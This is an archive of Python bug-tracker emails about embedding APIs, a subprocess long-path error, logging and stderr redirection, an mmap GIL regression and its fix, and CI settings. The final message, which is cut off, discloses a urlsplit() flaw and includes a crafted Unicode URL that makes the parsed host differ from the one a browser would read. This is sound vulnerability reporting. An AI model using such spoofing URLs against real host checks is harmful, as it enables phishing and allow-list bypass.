status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:59:38 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 14:59:38 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551884378.46.0.781247485093.issue36204@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

RE making UnixMain public, I'd rather the core runtime require a known encoding, rather than trying to detect it. We should move the call into the detection logic into Programs/python.c so that embedders have to opt-in to detection (many embedding scenarios will prefer to do their own encoding).

Provided it's Unicode, I don't care whether it's a char or wchar API. Windows can always reliably convert to UTF-8, so if Linux needs some extra help here by using char then that's fine.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Wed Mar  6 10:06:28 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 15:06:28 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
In-Reply-To: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>
Message-ID: <1551884788.71.0.237906926008.issue36213@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

The problem with improving the generic error message is that we then build a platform limitation into Python and if a later version of Windows fixes it then Python needs to make another fix.

As Eryk said on the other issue, this may be because the current working directory of the child process can't be set to a long path. The extended syntax may not help here, though it's easy enough to test. Geoff - can you try adding \\?\ (in Python, "\\\\?\\") before the cwd and passing it into the call? If that doesn't work then I don't know that there's much we can do.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 10:09:48 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 15:09:48 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
In-Reply-To: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>
Message-ID: <1551884988.51.0.413343972156.issue36213@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> As Eryk said on the other issue, ...

link: https://bugs.python.org/issue35678#msg337171

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 10:34:36 2019
From: report at bugs.python.org (=?utf-8?q?Andrius_Laukavi=C4=8Dius?=)
Date: Wed, 06 Mar 2019 15:34:36 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551886476.05.0.542250512613.issue36193@roundup.psfhosted.org>


Andrius Laukavi?ius <anlaukavic at gmail.com> added the comment:

Peter,
well I don't have deep experience with logging lib to know all ins and outs. So I might not be correct person to define what should be changed specifically. But I think it should be consistent on all standard libraries how it handles stdout/stderr, unless there is a reason to do it differently?

For example `print` to me seems to behave how I expect, because if stdout is redirected elsewhere, print uses redirected stdout without a problem. 

Now with logging, it does feel strange that on first call of `logging`, it sets internally stderr where it is pointing at that moment and forgets about it. You call logging again, and it naively expects stderr to be where it was on initial call, when in reality it might be redirected elsewhere (as in my case).

Maybe you know the reasoning why logging even needs to behave this way? Though if logging behaves this way, why print behaves differently?

So to summarize this, I think all libraries should respect stdout/stderr where it is and have some unified way/interface (like I expected redirect_stdout/redirect_stderr to be) to specify that stdout/stderr has changed and related libraries must update their state regarding that (logging library case) or simply rely on where stdout/stderr is pointed, so nothing needs to be done on that library once stdout/stderr is redirected.


To comment on your view about `dump_stuff(dest)`. Well I think this suits well, when you have something to dump already, but what if something to dump is what is produced via stdout/stderr and you need to capture it first? How can I do that without first redirecting stdout where I need to?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Wed Mar  6 10:46:44 2019
From: report at bugs.python.org (=?utf-8?q?Zbyszek_J=C4=99drzejewski-Szmek?=)
Date: Wed, 06 Mar 2019 15:46:44 +0000
Subject: [issue34033] distutils is not reproducible
In-Reply-To: <1530632785.81.0.56676864532.issue34033@psf.upfronthosting.co.za>
Message-ID: <1551887204.65.0.253579465264.issue34033@roundup.psfhosted.org>


Change by Zbyszek J?drzejewski-Szmek <zbyszek at in.waw.pl>:


----------
nosy: +zbysz

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34033>
_______________________________________

From report at bugs.python.org  Wed Mar  6 10:52:44 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 06 Mar 2019 15:52:44 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551887564.88.0.774354734582.issue36139@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:


New changeset bb9593af0ac835b93c2834d44b72fa34e30efed0 by Benjamin Peterson (Davide Rizzo) in branch 'master':
closes bpo-36139: release GIL around munmap(). (GH-12073)
https://github.com/python/cpython/commit/bb9593af0ac835b93c2834d44b72fa34e30efed0


----------
nosy: +benjamin.peterson
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:03:27 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Wed, 06 Mar 2019 16:03:27 +0000
Subject: [issue36214] AC_RUN_IFELSE macros not used as arguments of
 AC_CACHE_VAL et al
Message-ID: <1551888207.23.0.560311387445.issue36214@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

When the AC_RUN_IFELSE macro is used as the 'COMMANDS-TO-SET-IT' argument of the AC_CACHE_VAL or AC_CACHE_CHECK macros, it is possible to override the last argument of AC_RUN_IFELSE that is used when cross-compiling and set the variable with a cached value instead.

The determination of the following variables in configure.ac does not follow this mechanism (does not use AC_CACHE_VAL et al):

ac_osx_32bit, ac_cv_x87_double_rounding, have_glibc_memmove_bug, have_ipa_pure_const_bug

This should be changed except for the cases where cross-compilation does not make sense.

----------
components: Build
messages: 337318
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: AC_RUN_IFELSE macros not used as arguments of AC_CACHE_VAL et al
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36214>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:27:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:27:44 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551889664.73.0.217164410962.issue36204@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> RE making UnixMain public, I'd rather the core runtime require a known encoding, rather than trying to detect it. We should move the call into the detection logic into Programs/python.c so that embedders have to opt-in to detection (many embedding scenarios will prefer to do their own encoding).

Unix is a very complex beast and Python makes it worse by adding more options (PEP 538 and PEP 540). Py_UnixMain() works "as expected": it uses the LC_CTYPE locale encoding.

If you want to force the usage of UTF-8, you can opt-in for UTF-8 mode: call putenv("PYTHONUTF8=1") before Py_UnixMain() for example.

You cannot pass an encoding to Py_UnixMain() because the implementation of Python heavily rely on the LC_CTYPE locale: see Py_DecodeLocale() and Py_EncodeLocale() functions. Anyway, Python must use the locale encoding to avoid mojibake. Python must use the codec from the C library: mbstowcs() and wcstombs() to be able to load its own codecs. Python has a few codecs implemented in C like ASCII, UTF-8 and Latin1, but locales are way more diverse than that. For example, ISO-8859-15 is used for "euro" locale variants. Example:

$ LANG=fr_FR.iso885915 at euro python3 -c 'import sys; print(sys.getfilesystemencoding())'
iso8859-15

Python has a ISO-8859-15 codec, but it's implemented in pure Python. Python uses importlib to laod the codec, but how does Python decodes and encodes filenames to import Lib/encodings/iso8859_15.py? That's why mbstowcs()/wcstombs() and Py_DecodeLocale()/Py_EncodeLocale() come into the game :-) Enjoy:

PyObject*
PyUnicode_DecodeFSDefaultAndSize(const char *s, Py_ssize_t size)
{
    PyInterpreterState *interp = _PyInterpreterState_GET_UNSAFE();
    const _PyCoreConfig *config = &interp->core_config;
#if defined(__APPLE__)
    return PyUnicode_DecodeUTF8Stateful(s, size, config->filesystem_errors, NULL);
#else
    /* Bootstrap check: if the filesystem codec is implemented in Python, we
       cannot use it to encode and decode filenames before it is loaded. Load
       the Python codec requires to encode at least its own filename. Use the C
       implementation of the locale codec until the codec registry is
       initialized and the Python codec is loaded. See initfsencoding(). */
    if (interp->fscodec_initialized) {
        return PyUnicode_Decode(s, size,
                                config->filesystem_encoding,
                                config->filesystem_errors);
    }
    else {
        return unicode_decode_locale(s, size,
                                     config->filesystem_errors, 0);
    }
#endif
}

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:31:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:31:57 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551889917.06.0.639212425842.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

This change broke the Windows 7 buildbot:
https://buildbot.python.org/all/#/builders/40/builds/1745

Example:

0:01:34 [ 66/420/1] test_mmap crashed (Exit code 2147483651) -- running: test_tools (1 min 22 sec)
Fatal Python error: Python memory allocator called without holding the GIL

Current thread 0x00000de4 (most recent call first):
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\test_mmap.py", line 645 in test_crasher_on_windows
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\case.py", line 642 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\case.py", line 702 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\runner.py", line 176 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 1968 in _run_suite
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 2064 in run_unittest
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 178 in test_runner
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 182 in runtest_inner
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 127 in runtest
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest_mp.py", line 68 in run_tests_worker
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 600 in _main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 586 in main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 640 in main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\regrtest.py", line 46 in _main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\regrtest.py", line 50 in <module>
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 85 in _run_code
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 192 in _run_module_as_main
Windows fatal exception: code 0x80000003

Current thread 0x00000de4 (most recent call first):
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\test_mmap.py", line 645 in test_crasher_on_windows
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\case.py", line 642 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\case.py", line 702 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\runner.py", line 176 in run
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 1968 in _run_suite
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 2064 in run_unittest
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 178 in test_runner
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 182 in runtest_inner
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 127 in runtest
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest_mp.py", line 68 in run_tests_worker
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 600 in _main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 586 in main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 640 in main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\regrtest.py", line 46 in _main
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\regrtest.py", line 50 in <module>
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 85 in _run_code
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 192 in _run_module_as_main

----------
nosy: +vstinner
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:33:19 2019
From: report at bugs.python.org (Maxwell Bernstein)
Date: Wed, 06 Mar 2019 16:33:19 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
In-Reply-To: <1551871932.98.0.33354477409.issue36203@roundup.psfhosted.org>
Message-ID: <CANZ2YWVq4xQ+=UUjD4NEJXN0RNnFdoa1wtZe6E-uVyt4E4SjJw@mail.gmail.com>


Maxwell Bernstein <tekk.nolagi at gmail.com> added the comment:

NewProxy checks if it's callable, so I suppose the code should be fixed.

On Wed, Mar 6, 2019, 03:32 Windson Yang <report at bugs.python.org> wrote:

>
> Windson Yang <wiwindson at outlook.com> added the comment:
>
> Yes, Maxwell. I guess the docs are misleading, the code locate in
> https://github.com/python/cpython/blob/master/Objects/weakrefobject.c#L748
>
> if (callback == Py_None)
>         callback = NULL;
>     if (callback == NULL)
>         /* return existing weak reference if it exists */
>         result = ref;
>     if (result != NULL)
>         Py_INCREF(result);
>     else {
>         ...
>     }
>
> However, I'm not sure we should fix the docs or the code here.
>
> ----------
> nosy: +Windson Yang
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36203>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:34:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:34:10 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551890050.6.0.253139339497.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The bug:
https://github.com/python/cpython/pull/12073/files#r263026496

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:36:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:36:41 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551890201.53.0.569201802611.issue36139@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12193
stage: resolved -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:38:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:38:29 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551890309.72.0.839886196829.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The bug:
https://github.com/python/cpython/pull/12073/files#r263026496
(correct link, sorry)

--

If nobody comes up quickly with a fix, I will revert the change to repair Windows buildbots: PR 12198, as part of the buildbot policy ("revert on failure"). I don't have the bandwidth to dig into this failure.
https://pythondev.readthedocs.io/ci.html#revert-on-fail

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:40:34 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:40:34 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551890434.58.0.00997788210475.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

"""
r263026496">https://github.com/python/cpython/pull/12073/files#r263026496
"""

Oh wow, that's really strange. I'm sure that I wrote "https://..." URL but my URL became "r263026496">https://..." !?

3rd attempt to post the link:
https://github.com/python/cpython/pull/12073/files#r263026496

Anyway, my link points to my comment:

"""


PyMem_Free(m_obj->tagname) is called below without holding the GIL: that's illegal. Other move the call to free when the GIL is hold again, or use PyMem_RawFree().

"Warning: The GIL must be held when using these functions. "
https://docs.python.org/dev/c-api/memory.html#memory-interface

Note: You can use PYTHONMALLOC=debug or -X dev to reproduce the issue on a Python compiled in release mode.
"""

On the #ifdef MS_WINDOWS path of mmap_object_dealloc().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:42:12 2019
From: report at bugs.python.org (Davide Rizzo)
Date: Wed, 06 Mar 2019 16:42:12 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551890532.84.0.738046029082.issue36139@roundup.psfhosted.org>


Change by Davide Rizzo <sorcio at gmail.com>:


----------
pull_requests: +12194

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:42:56 2019
From: report at bugs.python.org (Davide Rizzo)
Date: Wed, 06 Mar 2019 16:42:56 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551890576.21.0.0903706086238.issue36139@roundup.psfhosted.org>


Davide Rizzo <sorcio at gmail.com> added the comment:

Thanks Victor. I think this fixes it https://github.com/python/cpython/pull/12199

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:50:39 2019
From: report at bugs.python.org (Davide Rizzo)
Date: Wed, 06 Mar 2019 16:50:39 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551891039.75.0.0393069606742.issue36139@roundup.psfhosted.org>


Davide Rizzo <sorcio at gmail.com> added the comment:

BTW should this be backported to 3.7?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:54:15 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:54:15 +0000
Subject: [issue9566] Compilation warnings under x64 Windows
In-Reply-To: <1281484786.91.0.306555541292.issue9566@psf.upfronthosting.co.za>
Message-ID: <1551891255.1.0.467450276548.issue9566@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset edad38e3e05586ba58291f47756eb3fb808f5577 by Victor Stinner (Jeremy Kloth) in branch 'master':
bpo-9566: Fix compiler warnings in gcmodule.c (GH-11010)
https://github.com/python/cpython/commit/edad38e3e05586ba58291f47756eb3fb808f5577


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9566>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:59:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 16:59:45 +0000
Subject: [issue9566] Compilation warnings under x64 Windows
In-Reply-To: <1281484786.91.0.306555541292.issue9566@psf.upfronthosting.co.za>
Message-ID: <1551891585.1.0.884064549826.issue9566@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> New changeset edad38e3e05586ba58291f47756eb3fb808f5577 by Victor Stinner (Jeremy Kloth) in branch 'master':
> bpo-9566: Fix compiler warnings in gcmodule.c (GH-11010)

It fixed the last known warning. Thanks everyone who was involved in this funny ride. It's now time to close the issue!

It just took 9 years to fix all compiler warnings on 64-bit Windows ;-)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9566>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:00:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 17:00:47 +0000
Subject: [issue32805] Possible integer overflow when call PyDTrace_GC_DONE()
In-Reply-To: <1518168459.08.0.467229070634.issue32805@psf.upfronthosting.co.za>
Message-ID: <1551891647.96.0.609479567378.issue32805@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The warning in the C code has been fixed by:

New changeset edad38e3e05586ba58291f47756eb3fb808f5577 by Victor Stinner (Jeremy Kloth) in branch 'master':
bpo-9566: Fix compiler warnings in gcmodule.c (GH-11010)
https://github.com/python/cpython/commit/edad38e3e05586ba58291f47756eb3fb808f5577

The remaining question is if Include/pydtrace.d must be updated or not:
https://github.com/python/cpython/pull/11010#issuecomment-470187843

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32805>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:05:39 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 17:05:39 +0000
Subject: [issue32805] Possible integer overflow when call PyDTrace_GC_DONE()
In-Reply-To: <1518168459.08.0.467229070634.issue32805@psf.upfronthosting.co.za>
Message-ID: <1551891939.77.0.435245916783.issue32805@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I don't think that Python 3.7 should be modified. I prefer to avoid any risk and only modify Python 3.8.

----------
versions:  -Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32805>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:06:02 2019
From: report at bugs.python.org (Jonathan Fine)
Date: Wed, 06 Mar 2019 17:06:02 +0000
Subject: [issue26910] dictionary literal should not allow duplicate keys
In-Reply-To: <1462211417.21.0.537077061483.issue26910@psf.upfronthosting.co.za>
Message-ID: <1551891962.0.0.876132370033.issue26910@roundup.psfhosted.org>


Jonathan Fine <jfine2358 at gmail.com> added the comment:

I mention this issue, and related pages, in
[Python-ideas] dict literal allows duplicate keys
https://mail.python.org/pipermail/python-ideas/2019-March/055717.html

It arises from a discussion of PEP 584 -- Add + and - operators to the built-in dict class.

Please send any follow-up to python-ideas (or #16385).

----------
nosy: +jfine2358

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26910>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:06:45 2019
From: report at bugs.python.org (Jonathan Fine)
Date: Wed, 06 Mar 2019 17:06:45 +0000
Subject: [issue16385] evaluating literal dict with repeated keys gives no
 warnings/errors
In-Reply-To: <1351859267.72.0.446639729186.issue16385@psf.upfronthosting.co.za>
Message-ID: <1551892005.28.0.494152902398.issue16385@roundup.psfhosted.org>


Jonathan Fine <jfine2358 at gmail.com> added the comment:

I mention this issue, and related pages, in
[Python-ideas] dict literal allows duplicate keys
https://mail.python.org/pipermail/python-ideas/2019-March/055717.html

It arises from a discussion of PEP 584 -- Add + and - operators to the built-in dict class.

Please send any follow-up to python-ideas (or this issue).

----------
nosy: +jfine2358

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16385>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:08:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 17:08:33 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551892113.29.0.639696729819.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset dc078947a5033a048d804e244e847b5844734439 by Victor Stinner (Davide Rizzo) in branch 'master':
bpo-36139: Fix mmap_object_dealloc(): hold the GIL to call PyMem_Free() (GH-12199)
https://github.com/python/cpython/commit/dc078947a5033a048d804e244e847b5844734439


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:09:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 17:09:28 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551892168.24.0.637993928341.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The second commit does fix the regression (I tested manually on Windows with Python compiled in debug mode).

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:16:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 17:16:47 +0000
Subject: [issue36215] Should AppVeyor run compile Python in debug mode?
Message-ID: <1551892607.07.0.699747283695.issue36215@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The Windows buildbots have been broken by PR 12073. Problem: AppVeyor didn't catch the bug before the change has been merged. Why? Because AppVeyor builds Python in release mode, whereas Windows buildbots build Python in debug mode.

https://bugs.python.org/issue36139#msg337320

IMHO AppVeyor should also build Python in debug mode to catch most bugs.

We should compare build time in debug mode and in release mode to see the cost of debug mode.

---

Somehow related issue: AppVeyor and Travis CI tests passed on PR 10497 "bpo-35224: PEP 572 Implementation" but buildbots failed. The problem is that buildbots pass "-u all" to "python -m test", whereas pre-commit CIs use "-uall,-cpu" (.travis.yml) or "-uall -u-cpu -u-largefile" (.github/appveyor.yml).

https://github.com/python/cpython/pull/10497#issuecomment-457409029

---

It's a trade-off between preventing bugs and CI performance...

----------
components: Build
messages: 337335
nosy: pablogsal, vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Should AppVeyor run compile Python in debug mode?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36215>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:37:14 2019
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 06 Mar 2019 17:37:14 +0000
Subject: [issue32021] Brotli encoding is not recognized by mimetypes
In-Reply-To: <1510645430.68.0.213398074469.issue32021@psf.upfronthosting.co.za>
Message-ID: <1551893834.21.0.0677096375257.issue32021@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12195
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32021>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:37:20 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 17:37:20 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
Message-ID: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

URLs encoded with Punycode/IDNA use NFKC normalization to decompose characters [1]. This can result in some characters introducing new segments into a URL.

For example, \uFF03 is not equal to '#' under direct comparison, but normalizes to '#' which changes the fragment part of the URL. Similarly \u2100 normalizes to 'a/c' which introduces a path segment.

Currently, urlsplit() does not normalize, which may result in it returning a different netloc from what a browser would

>>> u = "https://example.com\uFF03 at bing.com"
>>> urlsplit(u).netloc.rpartition("@")[2]
bing.com

>>> # Simulate
